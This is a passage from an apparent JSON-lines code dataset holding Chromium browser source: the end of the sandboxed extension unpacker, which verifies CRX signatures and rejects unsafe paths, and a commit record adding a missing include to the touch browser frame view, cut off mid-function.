2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/sandboxed_extension_unpacker.h\"\n\n#include <set>\n\n#include \"base\/base64.h\"\n#include \"base\/crypto\/signature_verifier.h\"\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_handle.h\"\n#include \"base\/task.h\"\n#include \"base\/utf_string_conversions.h\" \/\/ TODO(viettrungluu): delete me.\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/renderer_host\/resource_dispatcher_host.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/extensions\/extension_constants.h\"\n#include \"chrome\/common\/extensions\/extension_file_util.h\"\n#include \"chrome\/common\/extensions\/extension_l10n_util.h\"\n#include \"chrome\/common\/extensions\/extension_unpacker.h\"\n#include \"chrome\/common\/json_value_serializer.h\"\n#include \"gfx\/codec\/png_codec.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n\nconst char SandboxedExtensionUnpacker::kExtensionHeaderMagic[] = \"Cr24\";\n\nSandboxedExtensionUnpacker::SandboxedExtensionUnpacker(\n const FilePath& crx_path,\n const FilePath& temp_path,\n ResourceDispatcherHost* rdh,\n SandboxedExtensionUnpackerClient* client)\n : crx_path_(crx_path), temp_path_(temp_path),\n thread_identifier_(ChromeThread::ID_COUNT),\n rdh_(rdh), client_(client), got_response_(false) {\n}\n\nvoid SandboxedExtensionUnpacker::Start() {\n \/\/ We assume that we are started on the thread that the client wants us to do\n \/\/ file IO on.\n CHECK(ChromeThread::GetCurrentThreadIdentifier(&thread_identifier_));\n\n \/\/ Create a temporary directory to work in.\n if (!temp_dir_.CreateUniqueTempDirUnderPath(temp_path_)) {\n ReportFailure(\"Could not create temporary directory.\");\n return;\n }\n\n \/\/ Initialize the path that will eventually contain the unpacked extension.\n extension_root_ = temp_dir_.path().AppendASCII(\n extension_filenames::kTempExtensionName);\n\n \/\/ Extract the public key and validate the package.\n if (!ValidateSignature())\n return; \/\/ ValidateSignature() already reported the error.\n\n \/\/ Copy the crx file into our working directory.\n FilePath temp_crx_path = temp_dir_.path().Append(crx_path_.BaseName());\n if (!file_util::CopyFile(crx_path_, temp_crx_path)) {\n ReportFailure(\"Failed to copy extension file to temporary directory.\");\n return;\n }\n\n \/\/ If we are supposed to use a subprocess, kick off the subprocess.\n \/\/\n \/\/ TODO(asargent) we shouldn't need to do this branch here - instead\n \/\/ UtilityProcessHost should handle it for us. (http:\/\/crbug.com\/19192)\n bool use_utility_process = rdh_ &&\n !CommandLine::ForCurrentProcess()->HasSwitch(switches::kSingleProcess);\n if (use_utility_process) {\n \/\/ The utility process will have access to the directory passed to\n \/\/ SandboxedExtensionUnpacker. That directory should not contain a\n \/\/ symlink or NTFS reparse point. When the path is used, following\n \/\/ the link\/reparse point will cause file system access outside the\n \/\/ sandbox path, and the sandbox will deny the operation.\n FilePath link_free_crx_path;\n if (!file_util::NormalizeFilePath(temp_crx_path, &link_free_crx_path)) {\n LOG(ERROR) << \"Could not get the normalized path of \"\n << temp_crx_path.value();\n#if defined (OS_WIN)\n \/\/ On windows, it is possible to mount a disk without the root of that\n \/\/ disk having a drive letter. The sandbox does not support this.\n \/\/ See crbug\/49530 .\n ReportFailure(\n \"Can not unpack extension. To safely unpack an extension, \"\n \"there must be a path to your profile directory that starts \"\n \"with a drive letter and does not contain a junction, mount \"\n \"point, or symlink. No such path exists for your profile.\");\n#else\n ReportFailure(\n \"Can not unpack extension. To safely unpack an extension, \"\n \"there must be a path to your profile directory that does \"\n \"not contain a symlink. No such path exists for your profile.\");\n#endif\n return;\n }\n\n ChromeThread::PostTask(\n ChromeThread::IO, FROM_HERE,\n NewRunnableMethod(\n this,\n &SandboxedExtensionUnpacker::StartProcessOnIOThread,\n link_free_crx_path));\n } else {\n \/\/ Otherwise, unpack the extension in this process.\n ExtensionUnpacker unpacker(temp_crx_path);\n if (unpacker.Run() && unpacker.DumpImagesToFile() &&\n unpacker.DumpMessageCatalogsToFile()) {\n OnUnpackExtensionSucceeded(*unpacker.parsed_manifest());\n } else {\n OnUnpackExtensionFailed(unpacker.error_message());\n }\n }\n}\n\nvoid SandboxedExtensionUnpacker::StartProcessOnIOThread(\n const FilePath& temp_crx_path) {\n UtilityProcessHost* host = new UtilityProcessHost(\n rdh_, this, thread_identifier_);\n host->StartExtensionUnpacker(temp_crx_path);\n}\n\nvoid SandboxedExtensionUnpacker::OnUnpackExtensionSucceeded(\n const DictionaryValue& manifest) {\n \/\/ Skip check for unittests.\n if (thread_identifier_ != ChromeThread::ID_COUNT)\n DCHECK(ChromeThread::CurrentlyOn(thread_identifier_));\n got_response_ = true;\n\n scoped_ptr<DictionaryValue> final_manifest(RewriteManifestFile(manifest));\n if (!final_manifest.get())\n return;\n\n \/\/ Create an extension object that refers to the temporary location the\n \/\/ extension was unpacked to. We use this until the extension is finally\n \/\/ installed. For example, the install UI shows images from inside the\n \/\/ extension.\n extension_.reset(new Extension(extension_root_));\n\n \/\/ Localize manifest now, so confirm UI gets correct extension name.\n std::string error;\n if (!extension_l10n_util::LocalizeExtension(extension_.get(),\n final_manifest.get(),\n &error)) {\n ReportFailure(error);\n return;\n }\n\n if (!extension_->InitFromValue(*final_manifest, true, &error)) {\n ReportFailure(std::string(\"Manifest is invalid: \") + error);\n return;\n }\n\n if (!RewriteImageFiles())\n return;\n\n if (!RewriteCatalogFiles())\n return;\n\n ReportSuccess();\n}\n\nvoid SandboxedExtensionUnpacker::OnUnpackExtensionFailed(\n const std::string& error) {\n DCHECK(ChromeThread::CurrentlyOn(thread_identifier_));\n got_response_ = true;\n ReportFailure(error);\n}\n\nvoid SandboxedExtensionUnpacker::OnProcessCrashed() {\n \/\/ Don't report crashes if they happen after we got a response.\n if (got_response_)\n return;\n\n ReportFailure(\"Utility process crashed while trying to install.\");\n}\n\nbool SandboxedExtensionUnpacker::ValidateSignature() {\n ScopedStdioHandle file(file_util::OpenFile(crx_path_, \"rb\"));\n if (!file.get()) {\n ReportFailure(\"Could not open crx file for reading\");\n return false;\n }\n\n \/\/ Read and verify the header.\n ExtensionHeader header;\n size_t len;\n\n \/\/ TODO(erikkay): Yuck. I'm not a big fan of this kind of code, but it\n \/\/ appears that we don't have any endian\/alignment aware serialization\n \/\/ code in the code base. So for now, this assumes that we're running\n \/\/ on a little endian machine with 4 byte alignment.\n len = fread(&header, 1, sizeof(ExtensionHeader),\n file.get());\n if (len < sizeof(ExtensionHeader)) {\n ReportFailure(\"Invalid crx header\");\n return false;\n }\n if (strncmp(kExtensionHeaderMagic, header.magic,\n sizeof(header.magic))) {\n ReportFailure(\"Bad magic number\");\n return false;\n }\n if (header.version != kCurrentVersion) {\n ReportFailure(\"Bad version number\");\n return false;\n }\n if (header.key_size > kMaxPublicKeySize ||\n header.signature_size > kMaxSignatureSize) {\n ReportFailure(\"Excessively large key or signature\");\n return false;\n }\n if (header.key_size == 0) {\n ReportFailure(\"Key length is zero\");\n return false;\n }\n\n std::vector<uint8> key;\n key.resize(header.key_size);\n len = fread(&key.front(), sizeof(uint8), header.key_size, file.get());\n if (len < header.key_size) {\n ReportFailure(\"Invalid public key\");\n return false;\n }\n\n std::vector<uint8> signature;\n signature.resize(header.signature_size);\n len = fread(&signature.front(), sizeof(uint8), header.signature_size,\n file.get());\n if (len < header.signature_size) {\n ReportFailure(\"Invalid signature\");\n return false;\n }\n\n base::SignatureVerifier verifier;\n if (!verifier.VerifyInit(extension_misc::kSignatureAlgorithm,\n sizeof(extension_misc::kSignatureAlgorithm),\n &signature.front(),\n signature.size(),\n &key.front(),\n key.size())) {\n ReportFailure(\"Signature verification initialization failed. \"\n \"This is most likely caused by a public key in \"\n \"the wrong format (should encode algorithm).\");\n return false;\n }\n\n unsigned char buf[1 << 12];\n while ((len = fread(buf, 1, sizeof(buf), file.get())) > 0)\n verifier.VerifyUpdate(buf, len);\n\n if (!verifier.VerifyFinal()) {\n ReportFailure(\"Signature verification failed\");\n return false;\n }\n\n base::Base64Encode(std::string(reinterpret_cast<char*>(&key.front()),\n key.size()), &public_key_);\n return true;\n}\n\nvoid SandboxedExtensionUnpacker::ReportFailure(const std::string& error) {\n client_->OnUnpackFailure(error);\n}\n\nvoid SandboxedExtensionUnpacker::ReportSuccess() {\n \/\/ Client takes ownership of temporary directory and extension.\n client_->OnUnpackSuccess(temp_dir_.Take(), extension_root_,\n extension_.release());\n}\n\nDictionaryValue* SandboxedExtensionUnpacker::RewriteManifestFile(\n const DictionaryValue& manifest) {\n \/\/ Add the public key extracted earlier to the parsed manifest and overwrite\n \/\/ the original manifest. We do this to ensure the manifest doesn't contain an\n \/\/ exploitable bug that could be used to compromise the browser.\n scoped_ptr<DictionaryValue> final_manifest(\n static_cast<DictionaryValue*>(manifest.DeepCopy()));\n final_manifest->SetString(extension_manifest_keys::kPublicKey, public_key_);\n\n std::string manifest_json;\n JSONStringValueSerializer serializer(&manifest_json);\n serializer.set_pretty_print(true);\n if (!serializer.Serialize(*final_manifest)) {\n ReportFailure(\"Error serializing manifest.json.\");\n return NULL;\n }\n\n FilePath manifest_path =\n extension_root_.Append(Extension::kManifestFilename);\n if (!file_util::WriteFile(manifest_path,\n manifest_json.data(), manifest_json.size())) {\n ReportFailure(\"Error saving manifest.json.\");\n return NULL;\n }\n\n return final_manifest.release();\n}\n\nbool SandboxedExtensionUnpacker::RewriteImageFiles() {\n ExtensionUnpacker::DecodedImages images;\n if (!ExtensionUnpacker::ReadImagesFromFile(temp_dir_.path(), &images)) {\n ReportFailure(\"Couldn't read image data from disk.\");\n return false;\n }\n\n \/\/ Delete any images that may be used by the browser. We're going to write\n \/\/ out our own versions of the parsed images, and we want to make sure the\n \/\/ originals are gone for good.\n std::set<FilePath> image_paths = extension_->GetBrowserImages();\n if (image_paths.size() != images.size()) {\n ReportFailure(\"Decoded images don't match what's in the manifest.\");\n return false;\n }\n\n for (std::set<FilePath>::iterator it = image_paths.begin();\n it != image_paths.end(); ++it) {\n FilePath path = *it;\n if (path.IsAbsolute() || path.ReferencesParent()) {\n ReportFailure(\"Invalid path for browser image.\");\n return false;\n }\n if (!file_util::Delete(extension_root_.Append(path), false)) {\n ReportFailure(\"Error removing old image file.\");\n return false;\n }\n }\n\n \/\/ Write our parsed images back to disk as well.\n for (size_t i = 0; i < images.size(); ++i) {\n const SkBitmap& image = images[i].a;\n FilePath path_suffix = images[i].b;\n if (path_suffix.IsAbsolute() || path_suffix.ReferencesParent()) {\n ReportFailure(\"Invalid path for bitmap image.\");\n return false;\n }\n FilePath path = extension_root_.Append(path_suffix);\n\n std::vector<unsigned char> image_data;\n \/\/ TODO(mpcomplete): It's lame that we're encoding all images as PNG, even\n \/\/ though they may originally be .jpg, etc. Figure something out.\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=12459\n if (!gfx::PNGCodec::EncodeBGRASkBitmap(image, false, &image_data)) {\n ReportFailure(\"Error re-encoding theme image.\");\n return false;\n }\n\n \/\/ Note: we're overwriting existing files that the utility process wrote,\n \/\/ so we can be sure the directory exists.\n const char* image_data_ptr = reinterpret_cast<const char*>(&image_data[0]);\n if (!file_util::WriteFile(path, image_data_ptr, image_data.size())) {\n ReportFailure(\"Error saving theme image.\");\n return false;\n }\n }\n\n return true;\n}\n\nbool SandboxedExtensionUnpacker::RewriteCatalogFiles() {\n DictionaryValue catalogs;\n if (!ExtensionUnpacker::ReadMessageCatalogsFromFile(temp_dir_.path(),\n &catalogs)) {\n ReportFailure(\"Could not read catalog data from disk.\");\n return false;\n }\n\n \/\/ Write our parsed catalogs back to disk.\n for (DictionaryValue::key_iterator key_it = catalogs.begin_keys();\n key_it != catalogs.end_keys(); ++key_it) {\n DictionaryValue* catalog;\n if (!catalogs.GetDictionaryWithoutPathExpansion(*key_it, &catalog)) {\n ReportFailure(\"Invalid catalog data.\");\n return false;\n }\n\n \/\/ TODO(viettrungluu): Fix the |FilePath::FromWStringHack(UTF8ToWide())|\n \/\/ hack and remove the corresponding #include.\n FilePath relative_path = FilePath::FromWStringHack(UTF8ToWide(*key_it));\n relative_path = relative_path.Append(Extension::kMessagesFilename);\n if (relative_path.IsAbsolute() || relative_path.ReferencesParent()) {\n ReportFailure(\"Invalid path for catalog.\");\n return false;\n }\n FilePath path = extension_root_.Append(relative_path);\n\n std::string catalog_json;\n JSONStringValueSerializer serializer(&catalog_json);\n serializer.set_pretty_print(true);\n if (!serializer.Serialize(*catalog)) {\n ReportFailure(\"Error serializing catalog.\");\n return false;\n }\n\n \/\/ Note: we're overwriting existing files that the utility process read,\n \/\/ so we can be sure the directory exists.\n if (!file_util::WriteFile(path,\n catalog_json.c_str(),\n catalog_json.size())) {\n ReportFailure(\"Error saving catalog.\");\n return false;\n }\n }\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/touch\/frame\/touch_browser_frame_view.h\"\n\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/renderer_host\/render_widget_host_view_views.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/tab_contents_wrapper.h\"\n#include \"chrome\/browser\/ui\/touch\/frame\/keyboard_container_view.h\"\n#include \"chrome\/browser\/ui\/views\/frame\/browser_view.h\"\n#include \"chrome\/browser\/ui\/views\/tab_contents\/tab_contents_view_touch.h\"\n#include \"content\/browser\/renderer_host\/render_view_host.h\"\n#include \"content\/browser\/tab_contents\/navigation_controller.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/browser\/tab_contents\/tab_contents_view.h\"\n#include \"content\/common\/notification_service.h\"\n#include \"content\/common\/notification_type.h\"\n#include \"ui\/base\/animation\/slide_animation.h\"\n#include \"ui\/gfx\/rect.h\"\n#include \"ui\/gfx\/transform.h\"\n#include \"views\/controls\/button\/image_button.h\"\n#include \"views\/controls\/textfield\/textfield.h\"\n#include \"views\/focus\/focus_manager.h\"\n\nnamespace {\n\nconst int kKeyboardHeight = 300;\nconst int kKeyboardSlideDuration = 500; \/\/ In milliseconds\n\nPropertyAccessor<bool>* GetFocusedStateAccessor() {\n static PropertyAccessor<bool> state;\n return &state;\n}\n\nbool TabContentsHasFocus(const TabContents* contents) {\n views::View* view = static_cast<TabContentsViewTouch*>(contents->view());\n return view->Contains(view->GetFocusManager()->GetFocusedView());\n}\n\n} \/\/ namespace\n\n\/\/ static\nconst char TouchBrowserFrameView::kViewClassName[] =\n \"browser\/ui\/touch\/frame\/TouchBrowserFrameView\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TouchBrowserFrameView, public:\n\nTouchBrowserFrameView::TouchBrowserFrameView(BrowserFrame* frame,\n BrowserView* browser_view)\n : OpaqueBrowserFrameView(frame, browser_view),\n keyboard_showing_(false),\n focus_listener_added_(false),\n keyboard_(NULL) {\n registrar_.Add(this,\n NotificationType::NAV_ENTRY_COMMITTED,\n NotificationService::AllSources());\n registrar_.Add(this,\n NotificationType::FOCUS_CHANGED_IN_PAGE,\n NotificationService::AllSources());\n registrar_.Add(this,\n NotificationType::TAB_CONTENTS_DESTROYED,\n NotificationService::AllSources());\n\n browser_view->browser()->tabstrip_model()->AddObserver(this);\n\n animation_.reset(new ui::SlideAnimation(this));\n animation_->SetTweenType(ui::Tween::LINEAR);\n animation_->SetSlideDuration(kKeyboardSlideDuration);\n}\n\nTouchBrowserFrameView::~TouchBrowserFrameView() {\n browser_view()->browser()->tabstrip_model()->RemoveObserver(this);\n}\n\nstd::string TouchBrowserFrameView::GetClassName() const {\n return kViewClassName;\n}\n\nvoid TouchBrowserFrameView::Layout() {\n OpaqueBrowserFrameView::Layout();\n\n if (!keyboard_)\n return;\n\n keyboard_->SetVisible(keyboard_showing_ || animation_->is_animating());\n gfx::Rect bounds = GetBoundsForReservedArea();\n if (animation_->is_animating() && !keyboard_showing_) {\n \/\/ The keyboard is in the process of hiding. So pretend it still has the\n \/\/ same bounds as when the keyboard is visible. But\n \/\/ |GetBoundsForReservedArea| should not take this into account so that the\n \/\/ render view gets the entire area to relayout itself.\n bounds.set_y(bounds.y() - kKeyboardHeight);\n bounds.set_height(kKeyboardHeight);\n }\n keyboard_->SetBoundsRect(bounds);\n}\n\nvoid TouchBrowserFrameView::FocusWillChange(views::View* focused_before,\n views::View* focused_now) {\n VirtualKeyboardType before = DecideKeyboardStateForView(focused_before);\n VirtualKeyboardType now = DecideKeyboardStateForView(focused_now);\n if (before != now) {\n \/\/ TODO(varunjain): support other types of keyboard.\n UpdateKeyboardAndLayout(now == GENERIC);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TouchBrowserFrameView, protected:\nint TouchBrowserFrameView::GetReservedHeight() const {\n return keyboard_showing_ ? kKeyboardHeight : 0;\n}\n\nvoid TouchBrowserFrameView::ViewHierarchyChanged(bool is_add,\n View* parent,\n View* child) {\n OpaqueBrowserFrameView::ViewHierarchyChanged(is_add, parent, child);\n if (!GetFocusManager())\n return;\n\n if (is_add && !focus_listener_added_) {\n \/\/ Add focus listener when this view is added to the hierarchy.\n GetFocusManager()->AddFocusChangeListener(this);\n focus_listener_added_ = true;\n } else if (!is_add && focus_listener_added_) {\n \/\/ Remove focus listener when this view is removed from the hierarchy.\n GetFocusManager()->RemoveFocusChangeListener(this);\n focus_listener_added_ = false;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TouchBrowserFrameView, private:\n\nvoid TouchBrowserFrameView::InitVirtualKeyboard() {\n if (keyboard_)\n return;\n\n Profile* keyboard_profile = browser_view()->browser()->profile();\n DCHECK(keyboard_profile) << \"Profile required for virtual keyboard.\";\n\n keyboard_ = new KeyboardContainerView(keyboard_profile,\n browser_view()->browser());\n keyboard_->SetVisible(false);\n AddChildView(keyboard_);\n}\n\nvoid TouchBrowserFrameView::UpdateKeyboardAndLayout(bool should_show_keyboard) {\n if (should_show_keyboard)\n InitVirtualKeyboard();\n\n if (should_show_keyboard == keyboard_showing_)\n return;\n\n DCHECK(keyboard_);\n\n keyboard_showing_ = should_show_keyboard;\n if (keyboard_showing_) {\n animation_->Show();\n\n \/\/ We don't re-layout the client view until the animation ends (see\n \/\/ AnimationEnded below) because we want the client view to occupy the\n \/\/ entire height during the animation.\n Layout();\n } else {\n animation_->Hide();\n\n browser_view()->set_clip_y(ui::Tween::ValueBetween(\n animation_->GetCurrentValue(), 0, kKeyboardHeight));\n parent()->Layout();\n }\n}\n\nTouchBrowserFrameView::VirtualKeyboardType\n TouchBrowserFrameView::DecideKeyboardStateForView(views::View* view) {\n if (!view)\n return NONE;\n\n std::string cname = view->GetClassName();\n if (cname == views::Textfield::kViewClassName) {\n return GENERIC;\n } else if (cname == RenderWidgetHostViewViews::kViewClassName) {\n TabContents* contents = browser_view()->browser()->GetSelectedTabContents();\n bool* editable = contents ? GetFocusedStateAccessor()->GetProperty(\n contents->property_bag()) : NULL;\n if (editable && *editable)\n return GENERIC;\n }\n return NONE;\n}\n\nbool TouchBrowserFrameView::HitTest(const gfx::Point& point) const {\n if (OpaqueBrowserFrameView::HitTest(point))\n return true;\n\n if (close_button()->IsVisible() &&\n close_button()->GetMirroredBounds().Contains(point))\n return true;\n if (restore_button()->IsVisible() &&\n restore_button()->GetMirroredBounds().Contains(point))\n return true;\n if (maximize_button()->IsVisible() &&\n maximize_button()->GetMirroredBounds().Contains(point))\n return true;\n if (minimize_button()->IsVisible() &&\n minimize_button()->GetMirroredBounds().Contains(point))\n return true;\n\n return false;\n}\n\nvoid TouchBrowserFrameView::TabSelectedAt(TabContentsWrapper* old_contents,\n TabContentsWrapper* new_contents,\n int index,\n bool user_gesture) {\n if (new_contents == old_contents)\n return;\n\n TabContents* contents = new_contents->tab_contents();\n if (!TabContentsHasFocus(contents))\n return;\n\n bool* editable = GetFocusedStateAccessor()->GetProperty(\n contents->property_bag());\n UpdateKeyboardAndLayout(editable ? *editable : false);\n}\n\n\nvoid TouchBrowserFrameView::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n Browser* browser = browser_view()->browser();\n if (type == NotificationType::FOCUS_CHANGED_IN_PAGE) {\n \/\/ Only modify the keyboard state if the currently active tab sent the\n \/\/ notification.\n const TabContents* current_tab = browser->GetSelectedTabContents();\n TabContents* source_tab = Source<TabContents>(source).ptr();\n const bool editable = *Details<const bool>(details).ptr();\n\n if (current_tab == source_tab && TabContentsHasFocus(source_tab))\n UpdateKeyboardAndLayout(editable);\n\n \/\/ Save the state of the focused field so that the keyboard visibility\n \/\/ can be determined after tab switching.\n GetFocusedStateAccessor()->SetProperty(\n source_tab->property_bag(), editable);\n } else if (type == NotificationType::NAV_ENTRY_COMMITTED) {\n NavigationController* controller =\n Source<NavigationController>(source).ptr();\n Browser* source_browser = Browser::GetBrowserForController(\n controller, NULL);\n\n \/\/ If the Browser for the keyboard has navigated, re-evaluate the visibility\n \/\/ of the keyboard.\n TouchBrowserFrameView::VirtualKeyboardType keyboard_type = NONE;\n views::View* view = GetFocusManager()->GetFocusedView();\n if (view) {\n if (view->GetClassName() == views::Textfield::kViewClassName)\n keyboard_type = GENERIC;\n if (view->GetClassName() == RenderWidgetHostViewViews::kViewClassName) {\n \/\/ Reset the state of the focused field in the current tab.\n GetFocusedStateAccessor()->SetProperty(\n controller->tab_contents()->property_bag(), false);\n }\n }\n if (source_browser == browser)\n UpdateKeyboardAndLayout(keyboard_type == GENERIC);\n } else if (type == NotificationType::TAB_CONTENTS_DESTROYED) {\n GetFocusedStateAccessor()->DeleteProperty(\n Source<TabContents>(source).ptr()->property_bag());\n } else if (type == NotificationType::PREF_CHANGED) {\n OpaqueBrowserFrameView::Observe(type, source, details);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ ui::AnimationDelegate implementation\nvoid TouchBrowserFrameView::AnimationProgressed(const ui::Animation* anim) {\n ui::Transform transform;\n transform.SetTranslateY(\n ui::Tween::ValueBetween(anim->GetCurrentValue(), kKeyboardHeight, 0));\n keyboard_->SetTransform(transform);\n browser_view()->set_clip_y(\n ui::Tween::ValueBetween(anim->GetCurrentValue(), 0, kKeyboardHeight));\n SchedulePaint();\n}\n\nvoid TouchBrowserFrameView::AnimationEnded(const ui::Animation* animation) {\n browser_view()->set_clip_y(0);\n if (keyboard_showing_) {\n \/\/ Because the NonClientFrameView is a sibling of the ClientView, we rely on\n \/\/ the parent to resize the ClientView instead of resizing it directly.\n parent()->Layout();\n\n \/\/ The keyboard that pops up may end up hiding the text entry. So make sure\n \/\/ the renderer scrolls when necessary to keep the textfield visible.\n RenderViewHost* host =\n browser_view()->browser()->GetSelectedTabContents()->render_view_host();\n host->Send(new ViewMsg_ScrollFocusedEditableNodeIntoView(\n host->routing_id()));\n }\n SchedulePaint();\n}\n<commit_msg>Add a missing head to fix touch compile.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/touch\/frame\/touch_browser_frame_view.h\"\n\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/renderer_host\/render_widget_host_view_views.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/tab_contents\/tab_contents_wrapper.h\"\n#include \"chrome\/browser\/ui\/touch\/frame\/keyboard_container_view.h\"\n#include \"chrome\/browser\/ui\/views\/frame\/browser_view.h\"\n#include \"chrome\/browser\/ui\/views\/tab_contents\/tab_contents_view_touch.h\"\n#include \"content\/browser\/renderer_host\/render_view_host.h\"\n#include \"content\/browser\/tab_contents\/navigation_controller.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"content\/browser\/tab_contents\/tab_contents_view.h\"\n#include \"content\/common\/notification_service.h\"\n#include \"content\/common\/notification_type.h\"\n#include \"content\/common\/view_messages.h\"\n#include \"ui\/base\/animation\/slide_animation.h\"\n#include \"ui\/gfx\/rect.h\"\n#include \"ui\/gfx\/transform.h\"\n#include \"views\/controls\/button\/image_button.h\"\n#include \"views\/controls\/textfield\/textfield.h\"\n#include \"views\/focus\/focus_manager.h\"\n\nnamespace {\n\nconst int kKeyboardHeight = 300;\nconst int kKeyboardSlideDuration = 500; \/\/ In milliseconds\n\nPropertyAccessor<bool>* GetFocusedStateAccessor() {\n static PropertyAccessor<bool> state;\n return &state;\n}\n\nbool TabContentsHasFocus(const TabContents* contents) {\n views::View* view = static_cast<TabContentsViewTouch*>(contents->view());\n return view->Contains(view->GetFocusManager()->GetFocusedView());\n}\n\n} \/\/ namespace\n\n\/\/ static\nconst char TouchBrowserFrameView::kViewClassName[] =\n \"browser\/ui\/touch\/frame\/TouchBrowserFrameView\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TouchBrowserFrameView, public:\n\nTouchBrowserFrameView::TouchBrowserFrameView(BrowserFrame* frame,\n BrowserView* browser_view)\n : OpaqueBrowserFrameView(frame, browser_view),\n keyboard_showing_(false),\n focus_listener_added_(false),\n keyboard_(NULL) {\n registrar_.Add(this,\n NotificationType::NAV_ENTRY_COMMITTED,\n NotificationService::AllSources());\n registrar_.Add(this,\n NotificationType::FOCUS_CHANGED_IN_PAGE,\n NotificationService::AllSources());\n registrar_.Add(this,\n NotificationType::TAB_CONTENTS_DESTROYED,\n NotificationService::AllSources());\n\n browser_view->browser()->tabstrip_model()->AddObserver(this);\n\n animation_.reset(new ui::SlideAnimation(this));\n animation_->SetTweenType(ui::Tween::LINEAR);\n animation_->SetSlideDuration(kKeyboardSlideDuration);\n}\n\nTouchBrowserFrameView::~TouchBrowserFrameView() {\n browser_view()->browser()->tabstrip_model()->RemoveObserver(this);\n}\n\nstd::string TouchBrowserFrameView::GetClassName() const {\n return kViewClassName;\n}\n\nvoid TouchBrowserFrameView::Layout() {\n OpaqueBrowserFrameView::Layout();\n\n if (!keyboard_)\n return;\n\n keyboard_->SetVisible(keyboard_showing_ || animation_->is_animating());\n gfx::Rect bounds = GetBoundsForReservedArea();\n if (animation_->is_animating() && !keyboard_showing_) {\n \/\/ The keyboard is in the process of hiding. So pretend it still has the\n \/\/ same bounds as when the keyboard is visible. But\n \/\/ |GetBoundsForReservedArea| should not take this into account so that the\n \/\/ render view gets the entire area to relayout itself.\n bounds.set_y(bounds.y() - kKeyboardHeight);\n bounds.set_height(kKeyboardHeight);\n }\n keyboard_->SetBoundsRect(bounds);\n}\n\nvoid TouchBrowserFrameView::FocusWillChange(views::View* focused_before,\n views::View* focused_now) {\n VirtualKeyboardType before = DecideKeyboardStateForView(focused_before);\n VirtualKeyboardType now = DecideKeyboardStateForView(focused_now);\n if (before != now) {\n \/\/ TODO(varunjain): support other types of keyboard.\n UpdateKeyboardAndLayout(now == GENERIC);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TouchBrowserFrameView, protected:\nint TouchBrowserFrameView::GetReservedHeight() const {\n return keyboard_showing_ ? kKeyboardHeight : 0;\n}\n\nvoid TouchBrowserFrameView::ViewHierarchyChanged(bool is_add,\n View* parent,\n View* child) {\n OpaqueBrowserFrameView::ViewHierarchyChanged(is_add, parent, child);\n if (!GetFocusManager())\n return;\n\n if (is_add && !focus_listener_added_) {\n \/\/ Add focus listener when this view is added to the hierarchy.\n GetFocusManager()->AddFocusChangeListener(this);\n focus_listener_added_ = true;\n } else if (!is_add && focus_listener_added_) {\n \/\/ Remove focus listener when this view is removed from the hierarchy.\n GetFocusManager()->RemoveFocusChangeListener(this);\n focus_listener_added_ = false;\n 